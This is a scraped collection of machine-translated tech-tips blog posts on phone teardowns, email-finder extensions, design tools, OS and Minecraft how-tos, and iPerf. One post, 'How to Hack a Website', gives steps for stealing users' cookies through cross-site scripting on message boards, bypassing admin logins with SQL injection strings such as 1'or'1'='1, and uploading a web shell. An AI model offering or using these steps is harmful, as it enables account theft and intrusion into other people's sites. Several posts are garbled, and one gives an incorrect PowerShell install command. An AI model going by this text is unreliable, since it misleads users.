to see 'interior' inside this thousand-dollar smartphone.\nThe most noticeable point on the Note 9 is the radiator system called 'water-carbon', which has water inside, the heatpipe is made of copper with impressive size that can match the system. heat dissipation on a notebook This new Samsung cooling system makes the machine's temperature drop by more than 21% compared to conventional cooling systems.\n  Passive cooling system on Note 8 (left) and Note 9 water radiator hose (right).\nThe battery on the Note 9 has a capacity of up to 4000 mAh. And to be able to fit the battery pack inside the Note 9 without increasing the overall size of the device, Samsung has used smaller, less space-efficient components and is easier to repair and replace. .\n   Note 8 (left) and Note 9 (right).\nAccording to the evaluation of Hi Tech Mail Ru, the slot containing the S Pen on the Note 9 is stronger than the Note 8. In addition, the Note 9 motherboard is slightly smaller than the Note 8 but the size of the speaker is bigger This helps to make the sound quality bigger and better.\nUSB-C ports and separate motherboards make it more difficult and easy to replace and repair when damaged.\n  S Pen slot.\n  Motherboard.\nSee more:\nNote 9 will be the world's most powerful smartphone? Ranking the 10 most quirky Android phones in history Watch the 3-screen phone concept inspired by a telescope, full of science fiction The cult phone Palm was about to be 'revived' once. ncG1vNJzZmismaXArq3KnmWcp51kwam71KyYp5yjYrynedOhpq6rkaOxtHnOn2Sdp5yhrrO%2FjKKlZqyYmnqqutOeqaKnomK8p3nToZxmn5GhrrnFjKemrZ1dbnqprdWeZKOto6l6o7HEp2SrnZyarrSxww%3D%3D\n","link":"/post/thousands-of-thousands-of-dollars-in-the-interior-of-the-galaxy-note-9-have-just-been-released/","section":"post","tags":null,"title":"Thousands of thousands of dollars in the interior of the Galaxy Note 9 have just been released"},{"body":"How are you supposed to know which work well, and which aren't worth your time? Fortunately, we're here to help with a guide to the top email-finding extensions for the Mozilla Firefox browser.\nAll the following Firefox plug-ins work well as extensions to find emails. Not only are they easy to use, but they are also precise and accurate. You don't even have to be a tech whiz or expert in computers to use them either - these extensions work well with limited knowledge and can be supplied with basic details such as contact numbers, names, URLs, or addresses. When you need to boost your marketing campaigns quickly and at a low-cost, such tools can really make a difference. It's no wonder that all sorts of marketers, salespeople, and recruiters in high-end companies are using them all the time. And did we mention that some are free too? So, without further ado, and in no particular order, let's look at a tailor-made list of Firefox email-finding extensions.\n  AeroLeads extension This is a highly powerful piece of software that has steadily gained a reputation for easy prospect generation online. It works well on its own and also integrates easily with numerous CRM tools, including MailChimp, HubSpot, Salesforce, Zoho, Zapier, FreshSales, Insightly, Pipedrive, and many more. With the free account, you can start looking for emails immediately after installing. You get 50 free searches a month and can pay to upgrade and get many more searches.\nWith this Firefox extension, you can find business and personal emails from various websites without any hassle. It's easy to install, and the plug-in does most of the heavy lifting for you, making it simple and quick to use. One of the best things is that it can extract prospects details in real-time. Not only can you get their email address, but also, more often than not, their contact name, number, and all sorts of other details.\nAdapt Prospector Adapt are global suppliers of B2B contacts, working across many types of industries. Their current database has over 80 million contacts and 200,000 users. It's highly succinct, including industry-specific information, email addresses, job titles, direct lines, and other information. It works as a unified sales acceleration platform with products such as Lead Builder, Engage, and Prospector.\nWith the Firefox extension in place, you can get business emails for all of your marketing needs via LinkedIn, so you can build much-needed email lists quickly and effectively. At this moment in time, it's one of the leading Firefox plug-ins for email finding. We like it because of how nicely it integrates with SalesForce and how easily you can click within SalesForce to get more information.\nSignalHire Extension The SignalHire Firefox extension can find both personal and business emails based on name, location, job title, skills, and more. With this tool, you can automate your recruitment process and therefore save a lot of time in the long run. The extension easily works with all major email platforms and third parties, including Outlook and Gmail, plus you can extract all of your results in bulk as an easy-to-manage CSV file.\nThe main bulk of email verification is carried out through an array of powerful third-party verification tools. It's a great time-saving device, allowing you to find emails of over a hundred people at a time, thus turbocharging the whole marketing process. It's no wonder thousands of marketers are using this tool in their campaigns. Furthermore, it's especially strong because it works well on many popular websites such as Facebook, LinkedIn, Twitter, and GitHub. You can also export all of your found emails to a number of CRM and ATS tools, including Zoho, Vincere, CATSone, PCRecruiter, Reply.io, and Recruitee, to name a few. Within minutes, you can get the details, emails, phone numbers, and backlinks to social media accounts that you need to fuel your marketing campaign.\nMinelead This is a unique tool that can find emails from websites, both very easily and for a low cost. When you go premium, it increases search speed. However, you are free to have a go and try the freeware version, but it is somewhat slower. The Minelead API can easily be integrated across numerous services and tools. It costs five dollars a month, and that will give you API access, tech support, 5000 leads, and multiformat exporting. Although it's clearly more expensive than the freeware options we've mentioned, it is a comprehensive tool that certainly does the job. We think it is one of the preferable options if you're unaware of how such tools help with marketing and lead generation.\nEmail Extractor This tool from Devro Labs is a powerful extraction tool that integrates with Firefox. It uses a powerful algorithm to get emails from a web page. Any emails found are filtered through these algorithms to ensure that they're legitimate. You can set it to go through a number of pages in succession, extracting any emails and user information it finds. It has a great 'auto crawl' feature, letting you sift through a number of URLs and then export the findings when the process finishes. As the name might suggest, it crawls through those URLs to deeper levels, up to 100 nodes deep, so you can really get the most out of every site you input. If you're using it on an individual site, it's simple too - it's as easy as going to a website and pressing 'crawl current domain'. Within a few minutes, you'll have a mail list from that site ready to be used.\nEmail Hunter Last but not least, this is a Firefox extension that gives you social networks, job titles, names, email addresses, and phone numbers of prospects. You can search through a large database of over 200 million web pages using various filters. Each email address found from domain searches comes from public information and sources. If you use it for free, you get a hundred search credits, and with the premium version, you can upgrade this to 50,000. It's really worth trying out and if you can afford the premium option, then definitely go for it!\nWrap up Email marketing is one of the most effective and affordable ways that you can reach out and target new prospects. With a high lead generation rate compared to many other modern marketing methods, it can really be worth your while to invest in one of these tools. Moreover, a lot of them are free, and all of them are highly powerful. Take away some tedium of searching for emails and put your trust in the hands of one of these Firefox extensions. You certainly won't regret it!\nMozilla Firefox Firefox\u0026nbsp;\u0026nbsp; ncG1vNJzZmismaXArq3KnmWcp51kwbC8jG9knqWRnrlussinm56qXZrFtbHNrKCopqNis7C%2BjKams6Gcoa5ussirnJ%2BnqA%3D%3D\n","link":"/post/top-6-email-finder-extensions-for-mozilla-firefox/","section":"post","tags":null,"title":"Top 6 Email Finder Extensions for Mozilla Firefox"},{"body":"You could turn one into a baby monitor or a makeshift Google Home speaker, for example. Those are good ideas and you can find more in the link below, but one of the most useful ways to upcycle an old phone is to make it into a home security camera.\n  Step 1: Get a security camera app running on your old phone(s) To begin, you will need to choose a security-camera app for your phone. Most apps offer many of the same features, such as local streaming, cloud streaming, recording and storing footage locally or remotely, and motion detection and alerts.\nOnce you're set up, you will be able to monitor your living space and control your security camera from anywhere, straight from your new phone.\nOne of the best options for setting up your phone as a security camera is Alfred. It's cross-platform, so it doesn't matter if your old phone was an Android phone or iPhone. And the same goes for your new phone.\nAlfred is free to use and gives you a remote view of your live feed, motion detection with alerts, free cloud storage, a two-way audio feed and use of both the front and rear cameras. To unlock additional features, like higher-resolution viewing and recording, zoom capabilities, ad removal and 30-day cloud storage, you can upgrade to Alfred Premium.\nDownload Alfred (Android, iOS) on both your old and new phones or any tablets you want to use. On the new phone, swipe through the introduction and tap Start. Select Viewer and tap Next. Once you get to the sign-in page, click Sign in with Google (a Google account is required) and sign in with your Google account credentials. On the old phone, repeat the same steps, but instead of selecting Viewer, select Camera. And make sure to sign in to the same Google account. Once both phones are signed in to Alfred, you're pretty much done with the setup. Alfred has simplified the camera options to only include a few settings. On iOS, you can only enable motion detection, choose between the front and rear cameras and enable or disable audio. If you're using an Android device, you have those options and you can also enable continuous focus, have Alfred automatically reopen if the phone reboots, set a resolution and enable a passcode lock.\nFrom your new phone, you can change a few more settings, such as turning notifications on orff, setting a camera or viewer name, adding other people to your Trust Circle (granting other people access to your video feeds), removing a camera, checking how many times a camera has disconnected, settng motion detection sensitivity and enabling a low-light filter on cameras.\nWhile Alfred is a solid choice, keep in mind it's not the only choice. Far from it, in fact. Manything, Salient Eye and Presence are all solid free choices with an affordable subscription model if you need more features. And IP Webcam\u0026nbsp;is one of the more popular Android-only options.\nStep 2: Choose a spot to position your camera After you have the stream up and running, you will need to set up and position the camera. You may want it focused on the main entry point to your home, your backyard, the place where you store valuables or a point you think might be particularly vulnerable. You can also set up an IP camera as a baby monitor.\nIf you have multiple old phones lying around, you can set up multiple cameras for fairly robust video coverage.\nStep 3: Mount and power your new security camera(s) To mount or position the camera, a small smartphone tripod or suction cup car mount can work wonders and help you position the camera in an inconspicuous place.\nTo broaden the field of view, consider buying a wide-angle lens for your phone, something that can be purchased for between $5 and $20 online.\nStreaming video is very power-intensive, and the phone will be on 24/7. To keep the phone from dying in the first few hours, you will need to position it close to a power source. A 10-foot Micro-USB or\u0026nbsp;Lightning cable will give you more flexibility in where you put it.\nncG1vNJzZmismaXArq3KnmWcp51kwba%2BzWawqK2iYrytsIypn6imlWK2r8DOZphmoJ%2Bism6%2FxJysq6GkrnqkrcyeqZpllqS%2FbrLRnpw%3D\n","link":"/post/turn-your-old-phone-into-a-home-security-camera-for-free/","section":"post","tags":null,"title":"Turn your old phone into a home security camera for free"},{"body":"Today, you don't necessarily need a graphic design degree to create compelling works of art. Many people turn to Canva, a great creative tool for graphic design beginners. The tool is easily accessible, user-friendly and provides access to hundreds of templates suitable for any professional purpose.\nBut if the templates on Canva don't suit your aesthetic tastes, or if you're looking to expand your graphic design toolkit, here's a list of some of the best Canva alternatives.\n1. Template.net When it comes to Canva alternatives, Template.net is almost always at the top of the list.\n  They create Premium Designs and Documents for our users at Template.net. They're a group of programmers, artists, designers, lawyers, marketers, and writers from all over the world. They all have the same goal in mind: to get the world's work done faster and smarter.\n2. Stencil   If your graphic design focus is on social media platforms, then Stencil is the right tool for you. One of the website's standout features is its library of quotes. For example, if you're designing a motivational poster, just grab a quote from Stencil's collection of over 100,000 inspirational messages.\nOn top of that, you can even upload your own fonts to the website and use them in all your projects.\nStencil's basic free plan lets you create 10 images per month, but you can create more by subscribing to Stencil Pro for $9/month or Stencil Unlimited for $12/month.\n3. Adobe Spark   Adobe Spark is owned by the graphic design giant, Adobe. Adobe Spark itself is like a toolkit; it contains a catalog of graphic and visual design services for a variety of occasions. It offers Spark Page, Spark Post, and Spark Video, all of which are tailor-made for different platforms.\nWith Adobe Spark, you can also sync your projects across iPhone and iPad.\nAdobe Spark's beginner plan is free, while the Adobe Individual plan costs $9.99/month (with a 30-day free trial). If you and your team want to buy a plan, Adobe's Team plan is $19.99/month.\n4. Visme   Visme is for those looking to visually improve presentation slides, charts or infographics. Besides thousands of templates, you can also add a range of interactive content and data widgets to spice up your presentations.\nYou can sign up for Visme for free. If you want to improve your graphic design skills, you can also access online courses and video tutorials on the website. Visme also works with industry experts to bring you live webinars, so you know you're learning from the best in the world - all for free.\n5. Crello   Crello is another social media-focused online graphic design tool. In addition to the basic features any graphic designer needs, it's also the only site on this list with features exclusive to Facebook and Instagram's square and vertical video formats.\nAnother major feature of Crello is that it also has a special Animation Maker tool, which contains templates for those who want to create and share animated clips.\nCrello's Starter plan is free, but Crello Pro is also available for $7.99/month.\n6. PicMonkey   Founded in 2012, PicMonkey started out as a photo editing tool, but has now evolved into a full-fledged graphic design website. You can create collages, apply a wide range of effects and filters to your photos. The site is integrated with Facebook and Twitter, so once you've completed your designs, you can share them to those platforms immediately.\nPicMonkey has three different plans to choose from: PicMonkey Basic for $7.99/month, Pro for $9.99/month, and PicMonkey Business for $23.99/month.\n7. Piktochart   Like Visme, Piktochart specializes in more professional media like infographics, charts, reports, and maps. You can quickly turn your text or data-heavy documents into stunning visuals.\nOn Piktochart's website, its features are also segmented by industry, so if you're designing for HR, healthcare, marketing or finance, there's a wide range of templates available. website for your review.\nUsing Piktochart Basic is free. You can explore Piktochart's wide selection of images and illustrations.\nIf you want to find an image or template that suits your taste, then you can choose Piktochart Pro for $29/month. Educators who want to recommend Piktochart to students are also offered a special Pro plan for $39.99/year for individual users and $199.95/year for institutions.\n8. Fotor   Fotor specializes in photo editing and collage creation. Fotor's suite of advanced photo editing tools allows users to adjust the color, size, and brightness of an image. For portraits, Fotor also has a bunch of very useful editing features like teeth whitening, reshaping, as well as removing wrinkles, blemishes, and red-eye.\nWith advanced HDR technology, photos uploaded to the website are also guaranteed to be of high quality with vivid colors and details. Fotor basic is free, while Fotor Pro starts at $8.99/month.\nHope you find the right one for you!\nncG1vNJzZmismaXArq3KnmWcp51khW6uxKyrZpmcqbKzusCtoK%2Bdo2LBsHnCmqWvmQ%3D%3D\n","link":"/post/8-best-alternatives-to-canva/","section":"post","tags":null,"title":"8 Best Alternatives to Canva"},{"body":"A few days ago, Matthew Hickey, a security researcher at Hacker House, announced how to find a way for a brute force attack to unlock any iPhone device on any version without worrying about being locked. machine or delete data.\nFor a better understanding of how Matthew Hickey unlocked the iPhone, you can see more in the Security Expert article on how to crack iPhone passwords on any version without worrying about locking or deleting data.\n  Recently, Apples representatives have denied the information that iPhone can be brute force as easily as Matthew Hickey did.\nAnd surprisingly, Matthew Hickey himself also voiced support for Apple's announcement. In a new tweet on his personal account, Hickey said that in fact, when sending consecutively, not all codes were confirmed. Hickey only tried a small number of 1 million 6-digit password schemes, because it will take up to 92 weeks to try it all. No third party can apply Hickey's method to successfully login to iPhone.\n  In the latest operating system version, Apple added USB Restricted Mode (USB Restricted Mode) to prevent iPhone cracking tools. When the Lightning port on the iPhone is connected to another device and the device is not unlocked within an hour, it will be disabled, only the charging feature remains. Therefore, although the method of Hickey is really effective, Apple still fixes it easily in iOS 12.\nSee more:\nThe former Apple engineer claims to be able to unlock all iPhones for $ 15,000 What do you know about iPhone? Doing this test will be clear (part 1) What do you know about iPhone? Doing this test will be clear (part 2) ncG1vNJzZmismaXArq3KnmWcp51krrG8y55knZ2enrK0edOhmK1lmaW1sLrEZpqapl2Xsm6u0a6rnmWWpL%2BksYytpmanoJq7brzArKqwp6KZwG6xwKygpbE%3D\n","link":"/post/apple-denies-that-iphone-can-be-brute-force-to-open-passwords-easily/","section":"post","tags":null,"title":"Apple denies that iPhone can be brute force to open passwords easily"},{"body":"Just like any new version of Apple, full updates will always encounter a problem. iOS 11 is no exception - one of the problems it faces is that it cannot connect to the App Store on some iPhone and iPad devices.\nSome users, when unable to connect to the App Store, can fix it by completely closing the application from App Switcher or restarting the device. However, not all cases can apply such methods. Here's another fix when you can't connect to the App Store on iOS 11.\nHow to fix some common errors on iOS 11 How to fix battery drain errors on iOS 11 Control Center iOS 11 doesn't really disable Wifi or Bluetooth? This is what you need to do Open the App Store app and notice the date on the homepage. You will find it asynchronous, preventing the app store from connecting to Apple's server, and creating error messages like \" Cannot connect to App Store \" and does not allow users to download or update the application. use.\n   Next, go back to the main screen and open the Settings app . Click the General tab , then scroll down and select Date \u0026amp; Time . Now, turn off the slider beside the Automatically Automatically Set option. You can set the time and date manually to match the date displayed in the main section of the App Store.\n  After that, visit the App Store again. This time, wait at the home page for about 30 seconds and then return to the Date \u0026amp; Time settings and reactivate the Automatically Automatically Set option .\nNow access the App Switcher by double-clicking the Home button or through the AssistiveTouch virtual Home key and closing the App Store completely by swiping up. Open the App Store again, now you will see its home page showing the current date. The connection between the App Store and Apple servers has been restored. Now you can download or update the application as usual.\nThis is not the best solution but it will be effective in recovering important functions of the App Store application and updating the application. If you encounter an error that cannot connect to the App Store, try the above steps!\nGood luck!\nncG1vNJzZmismaXArq3KnmWcp51ksKK602aaqKaemrC1edOoZK2glWKusbyMrKuoqpVivK95yKiqZmlhYrWmvsSsZKGnp2LBsHnFoq9moaQ%3D\n","link":"/post/can-t-connect-to-the-app-store-on-ios-11-here-s-how-to-fix-it/","section":"post","tags":null,"title":"Can't connect to the App Store on iOS 11? Here's how to fix it"},{"body":"Apple introduced Quick Actions when releasing macOS Mojave. This is a new feature that helps users improve productivity. Quick Actions allows the Finder to easily access common tasks, such as rotating images or combining numerous photos into one PDF file. Basically, it uses Automator's workflow to process files.\nThe option to add watermark (stamp) to PDF files does not appear by default in Quick Actions, but can be added using several Automator customizations. Users will be able to easily add watermarks to PDF files using the Finder without any additional third-party software.\nAdding watermark to PDF file can be very helpful. For example, if you do a work report and want a company logo on every page, instead of using editing software to add a logo manually to each page, you just need to create a PDF file for the final step.\nSelect the image as the watermark and choose the location to save the file 1. Open Automator on Mac. You can do this easily by searching for it in Spotlight.\n  2. Click New Document at the bottom left. Select Quick Action and click Choose.\n  3. At the top of the Automator window in the Workflow field receives current, select PDF files in the drop-down list.\n  4. From the first sidebar, select PDFs. From the second side bar, select (double-click) Watermark PDF Documents .\n  5. Click Add in the upper right corner and select the image you want to use as a watermark.\nYou should use .png file with transparent background as watermark.\nWhen the file is added, you will see it listed in the Watermarks section .\n  \n6. You will see the option to adjust your watermark and can change its position, size, angle, and opacity. To adjust the position of the watermark, simply enter a value into the x or y box.\n  You can also choose whether you want to put watermark on or below your PDF page. In most cases, you need to place a watermark on the PDF page. Unless your PDF page is transparent, otherwise placing watermark under the PDF page will make it hidden.\n7. From the first sidebar, select Files and Folders , and from the second sidebar, select Move Finder Items .\n  8. In Move Finder Items , you now need to specify the location where you want to save PDF files that have added watermark on your Mac. By clicking on the default specified location ( Desktop ) and selecting Other, you can choose a location as desired.\n  9. When finished, click File\u0026gt; Save and save the workflow using the name that is easily defined in Quick Actions, such as Watermark PDF .\n  How to add watermark to a PDF file in Finder Now that you have set up Quick Actions, creating PDF files for watermark directly in Finder is easy.\n1. Open Finder and select the file you want to add watermark.\n2. Right-click the file and select Quick Actions .\n3. From the list, select Watermark PDF (or the name you specified for Quick Actions above).\n  4. Finder will now automatically add watermark to your PDF file and save it to the location you specified.\nQuick Actions is a very useful tool on macOS! Do you find this guide useful? Share ideas with everyone in the comment section below!\nHope you are succesful.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpmUmXqxsMVmrpqslae6or7KZq6irJhivra1wqRkmpuknryvv4yipWalkZi8tA%3D%3D\n","link":"/post/how-to-add-pdf-watermark-with-quick-actions-in-macos/","section":"post","tags":null,"title":"How to add PDF watermark with Quick Actions in macOS"},{"body":"Google Maps is one of the most popular and complete routes in Vietnam. With Google Maps software, you can search for different entertainment addresses in the city. However, what if you want to store your locations for easy travel and play? In this article, Software Tips will guide you how to mark and save places on Google Maps.\n  1. How to mark and save places is available on Google Maps Step 1: You proceed to enter the location you want to store and select the Save below the location. There are 3 lists for you on Google Maps, but for storage, create a new List .\n  Step 2: After that, you proceed to name the list, and select the privacy for the list. Finally, click Create , your locations will be stored in the newly created list.\n  2. How to mark and save places is not available on Google Maps On Google Maps there are many locations in Vietnam, but it may not be complete all locations in Vietnam. For places not available on Google Maps, you can add them to save places yourself.\nStep 1: You proceed to enter the location in the search box on Google Maps and select the Label below the location. Then you proceed to name the location and click Done to save.\n  Step 2: Next, after you have labeled the location, proceed to select Save to save the location. You proceed to name the archive list and click Create to save the list.\n  Your locations will be saved to the newly created list.\n3. How to review storage locations on Google Maps After you save the location on Google Maps, you can review it for more information about that location.\nStep 1: You select the Expand icon and choose Your Location . You will immediately see the list of locations we have just created.\n  Step 2: When you click on those locations, you will see relevant information such as: Number of times you arrive at the location. In addition, you can share the location, so other social networking platforms are known to many.\n  In this article, Software Tips showed you how to bookmark and save places on Google map on your phone. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpqfpLiurdGkZJqmlGLAosLEZqelmZOawG67zWaeqKeXobJuucCpqmannmLGsMHRZqehp56a\n","link":"/post/how-to-bookmark-and-save-places-on-google-maps-on-your-phone/","section":"post","tags":null,"title":"How to bookmark and save places on Google Maps on your phone"},{"body":"By default on a new computer or when reinstalling Windows, the desktop will have no icons other than the trash icon. Icons such as This PC, Network, Control Panel are the most frequently used features that do not appear. Many people do not know how to put these icons on the Desktop so they have to access the above features in a very time-consuming way, so in the following article, TipsMake.com will guide you to put the icons. This PC, Control Panel, Network and User go to the Desktop on Windows 10, please follow along.\n  Step 1 : Right-click on the Desktop and select Personalize\n  Step 2: A new window appears, select Themes, then on the right side, scroll down and select Desktop icon settings.\n  Step 3: A new window will appear, in the Desktop icons section, which icons do you want to show, then tick the icon, here I will select them all, then click OK to finish.\n  Now you return to the Desktop to see the icons appear:\n  So with just a few simple steps, we can bring This PC, Control Panel, Network icons to the Desktop screen on windows 10. Thank you for watching the article!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpqinruoedOhoKxloJh6pLvMqaytnaJiu6bA1qippGWTpLu1vs6lZKmZnpq5brXCqKVmrJ9iwamxjJ2crKOkpL1uv8KrnJ6mXaS7bsPIp5uor6NifnE%3D\n","link":"/post/how-to-bring-this-pc-computer-network-control-panel-icon-to-the-desktop-screen-on-windows-10/","section":"post","tags":null,"title":"How to bring This PC (Computer), Network, Control Panel icon to the Desktop screen on Windows 10"},{"body":"The answer is yes and in this article TipsMake.com will show you how to do it with detailed video instructions.\nPart 1: Some notes Before starting the installation, I have a few notes for you:\nYou need to have a basic knowledge of Windows because the installation process does not always go smoothly. This method works with both Windows 10 and Windows 11. You should check System Information, if the machine already has UEFI, then proceed with the installation. If you do not have UEFI, you need to install UEFI first.     Part 2: Adjust Secure Boot in BIOS In this section, you need to access BIOS then disable Secure Boot:\nStep 1: You need to press and hold the SHIFT button then press Restart the machine and then follow the steps in the video below to access the BIOS. Or you can also refer to how to access BIOS in the article: Instructions to enter BIOS on different computer lines.\n  Step 2: You find and disable (Disabled) the Secure Boot option.\n  Step 3: Press F10 and Enter to save the settings and exit the BIOS.\n  Part 3: Install the tool The steps to install the tool are quite simple:\nStep 1: Visit the GitHub page below to download and install the HackBGRT tool,\nDownload HackBGRT Tool\n  Step 2: Extract the tool, then open it and leave it temporarily.\n  Step 3: Adjust the image you want to use as a logo with Paint to the optimal size of 200x200px. Press Ctrl + A to select and then press Ctrl + C to copy the image.\nStep 4: Open the splash.bmp file in the folder of the HackBGRT tool with Paint. Resize the image to 200x200px then press Ctrl + V to paste your image in. Press Ctrl + S to save then close the Paint windows.\n  Step 5: Right-click the setup.exe file and select Run as administrator and then click Yes to confirm opening the tool.\n  change windows boot logo how to change windows 10 boot logo ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuYlruosYytn55lkqS8tXnLqJ6oZZ%2Bberi1zZ2msKtdZn1urc2dZLChnpm8uL%2BMamg%3D\n","link":"/post/how-to-change-the-boot-logo-of-windows-10-and-windows-11/","section":"post","tags":null,"title":"How to change the boot logo of Windows 10 and Windows 11"},{"body":"\"Minecraft\" - and especially the original \"Java\" version, is a game that offers players almost limitless creativity. No two worlds are exactly alike in Minecraft, and starting a new one can sometimes be a daunting task.\nFortunately, you don't have to start over. Thanks to a community eager to share their worlds, you can download a high level Minecraft map and start playing right away.\nThese downloadable maps are often more than mere templates: They can offer risky puzzles, a scare horror experience, scavenger hunts, multiplayer games, etc. The maps you download are compatible with the version of Minecraft you run, every theme and imaginable map type is at your fingertips.\nHow to download a Minecraft map and add it to the game Step 1. When you find a map you want to download that is compatible with the version of Java game running, download, unzip, and drag the file onto your desktop (or any location on your computer where you can find it again quickly).\nStep 2. Next, find and open your Minecraft folder. If your Minecraft folder is saved in the default location on your device, search by:\nWindows: Press the Windows + R key combination to open the Run menu . In the text input section, type \"% appdata% .minecraft\" and press Enter .   Mac: Open a Finder window and click \" Go \" at the top of the screen, then \" Go to Folder \". In the pop-up that appears, type \"~ / Library / ApplicationSupport / minecraft\" and press \" Go \".\n  Linux: In the Home directory , Minecraft can be found under \"/home/YOURNAME/.minecraft/\". Step 3. In the Minecraft folder, find the folder ' saves '. When it opens you will see the names of all the worlds available in your game.\nStep 4. Grab the map you downloaded and drag and drop the file to the Minecraft \" saves \" folder . Make sure to drag the entire folder for the map download file, not just the contents in the folder.\n  Step 5. Start Minecraft.\nStep 6. Select Singleplayer , find the new map and click on Play Selected World .\n  From here, prepare yourself for the wonderfully cultivated world you are about to enter, just make sure to credit the true creator in the world if more people ask.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpyfrLutu8CdZJqmlGKupbCMp5ywZZ2eu6av0ZqdrWWdlr20\n","link":"/post/how-to-download-and-add-new-minecraft-maps/","section":"post","tags":null,"title":"How to download and add new Minecraft maps"},{"body":"Method 1of 3:\nUsing Cross-Site Scripting\n Find a vulnerable site where you can post content. A message board is a good example. Remember, if the site is not vulnerable to a cross-site scripting attack, then this will not work.\n Go to create a post. You will need to type some special code into the \"post\" which will capture the data of all who click on it.\nYou'll want to test to see if the system filters out code. Post\nIf an alert box appears when you click on your post, then the site is vulnerable to attack.\n Create and upload your cookie catcher. The goal of this attack is to capture a user's cookies, which allows you access to their account for websites with vulnerable logins. You'll need a cookie catcher, which will capture your target's cookies and reroute them. Upload the catcher to a website you have access to and that supports PHP and is vulnerable to remote code execution via upload. An example cookie catcher code can be found in the sample section.\n Post with your cookie catcher. Input a proper code into the post which will capture the cookies and sent them to your site. You will want to put in some text after the code to reduce suspicion and keep your post from being deleted.\nAn example code would look like \n Use the collected cookies. After this, you can use the cookie information, which should be saved to your website, for whatever purpose you need.\nMethod 2of 3:\nExecuting Injection Attacks\n Find a vulnerable site. You will need to find a site that is vulnerable, due to an easily accessible admin login. Try searching on your favorite search engine for admin login.asp or admin login.php.\n Login as an admin. Type admin as the username and use one of a number of different strings as the password. These can be any one of a number of different strings but a common example is 1'or'1'='1 or 2'='2.\n Be patient. This is probably going to require a little trial and error.\n Access the website. Eventually, you should be able to find a string that allows you admin access to a website, assuming the website is vulnerable to attack. Then, logged in as an administrator, you can perform further actions, such as uploading a web shell to gain server-side access if you can perform a file upload.\nMethod 3of 3:\nSetting Up for Success\n Learn a programming language or two. If you want to really learn how to hack websites, you'll need to understand how computers and other technologies work. Learn to use programming languages like Python, PHP (necessary for exploiting server-side vulnerabilities) or SQL, so that you can gain better control of computers and identify vulnerabilities in systems.\n Have basic HTML literacy. You will also need to have a really good understanding of HTML and JavaScript if you want to hack websites in particular. This can take time to learn but there are lots of free ways to learn on the internet, so you will certainly have the opportunity if you want to take it.\n Consult with whitehats. Whitehats are hackers who use their powers for good, exposing security vulnerabilities and making the internet a better place for everyone. If you're wanting to learn to hack and use your powers for good or if you want to help protect your own website, you might want to contact some current whitehats for advice.\n Research hacking. If you're wanting to learn to hack or if you just want to protect yourself, you'll need to do a lot of research. There are so many different ways that websites can be vulnerable and the list is ever-changing, so you will need to be constantly learning.\n Keep up to date. Because the list of possible hacks is ever-changing, and new vulnerabilites are discovered, you'll need to be sure you keep up to date. Just because you're protected from a certain type of hack now doesn't mean you'll be safe in the future!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqCRmLhurYywnJurmamy\n","link":"/post/how-to-hack-a-website/","section":"post","tags":null,"title":"How to Hack a Website"},{"body":"iPerf allows administrators to set up a receiving program on a remote computer and a broadcast program on another computer to start transferring data between them.\nIf you've ever had problems with network latency or low bandwidth in wide area networks WAN or even on a local area network, a great tool can be used here is iPerf. This is a free tool that allows administrators to set up a receiving program on a remote computer and a broadcast program on another computer to transfer data between them. iPerf is a great tool, but a bit difficult to use. This is an example of a typical iPerf command.\niperf -c 10.12.240.32 -u -p 12345 -t 30 -b 250M\nOn Windows, iPerf uses the old parameters, one word because it is EXE. But now we have PowerShell to work with tools like this, but the problem here is that iPerf is an EXE and not a PowerShell function. We can fix this problem by creating a few wrapper functions that compile all the values ​​that iPerf.exe needs through the PowerShell function.\n  To work with iPerf in the way PowerShell, download a community module called iPerfAutomate. This module is available on PowerShell Gallery and can be installed by running Install-iPerfAutomate -Name Module. After installation, you can see only two commands, but these two commands have a lot of code behind.\nPS C:\u0026gt; Get-Command -Module iPerfAutomate\nCommand Type Name Version Source\n----------- ---- ------- ------ Function New-IperfSchedule 1.0.2 iPerfAutomate Function Start-IPerfMonitorTest 1.0.2 iPerfAutomate\nTechnically, only specific iPerf commands are located in Start-IperfMonitorTest. This is the command to perform all necessary settings to perform network testing between the two places. New-IperfSchedule is a command that allows users to set scheduled tasks to run Start-IperfMonitorTest.\nStart-iPerfMonitorTest has two sets of parameters: Site and Server. Basically, in a command, you need to provide FromServerName and ToServerName. Then Start-iPerfMonitorTest will copy iPerf to both servers, start transferring, return results and clean up.\nStart-iPerfMonitorTest -FromServerName SQLSRV1 -ToServerName WEBSRV1\nConnecting to host SQLSRV1, port 5201\n[4] local 2607: fcc8: ace7: 1700: 60d4: c299: d02e: 3c43 port 55739 connected to 2607: fcc8: ace7: 1700: e4e1: c511: e38b: 4f05 port 5201 [ID] Interval Transfer Bandwidth [4] 0.00-1.00 sec 208 MBytes 1.73 Gbits / sec [4] 1.00-2.00 sec 223 MBytes 1.87 Gbits / sec [4] 2.00-3.00 sec 218 MBytes 1.83 Gbits / sec [4] 3.00-4.00 sec 220 MBytes 1.85 Gbits / sec [4] 4.00-5.00 sec 245 MBytes 2.05 Gbits / sec [4] 5.00-6.00 sec 251 MBytes 2.10 Gbits / sec [4] 6.00-7.00 sec 248 MBytes 2.09 Gbits / sec [4] 7.00-8.00 sec 266 MBytes 2.23 Gbits / sec [4] 8.00-9.00 sec 243 MBytes 2.04 Gbits / sec [4] 9.00-10.00 sec 255 MBytes 2.14 Gbits / sec - - - - - - - - - - - - - - - - - - - - - - - - - [ID] Interval Transfer Bandwidth [4] 0.00-10.00 sec 2.32 GBytes 1.99 Gbits / sec sender [4] 0.00-10.00 sec 2.32 GBytes 1.99 Gbits / sec receive\nr iperf Done.\nYou can see that instead of having to make sure iPerf EXE is on a local and remote computer, you just need to run a PowerShell function to start the quick check. Start-IPerfMonitorTest also supports setting up tests from the entire site instead of a separate server. Maybe you can't remember the server in SITE A or SITE B, instead of setting up the test by server name, you can \"map\" the server name to a website and just set up the tests according to websites.\nStart-iPerfMonitorTest -FromSite Main -ToSite Vegas\nThe iPerfAutomate module simplifies a lot of great tools and allows users to quickly and easily set up one or more network performance tests.\nSee more:\n7 free network tools for Admin Increase network performance by installing Tomato on the Router Check network performance with PRTG for free version 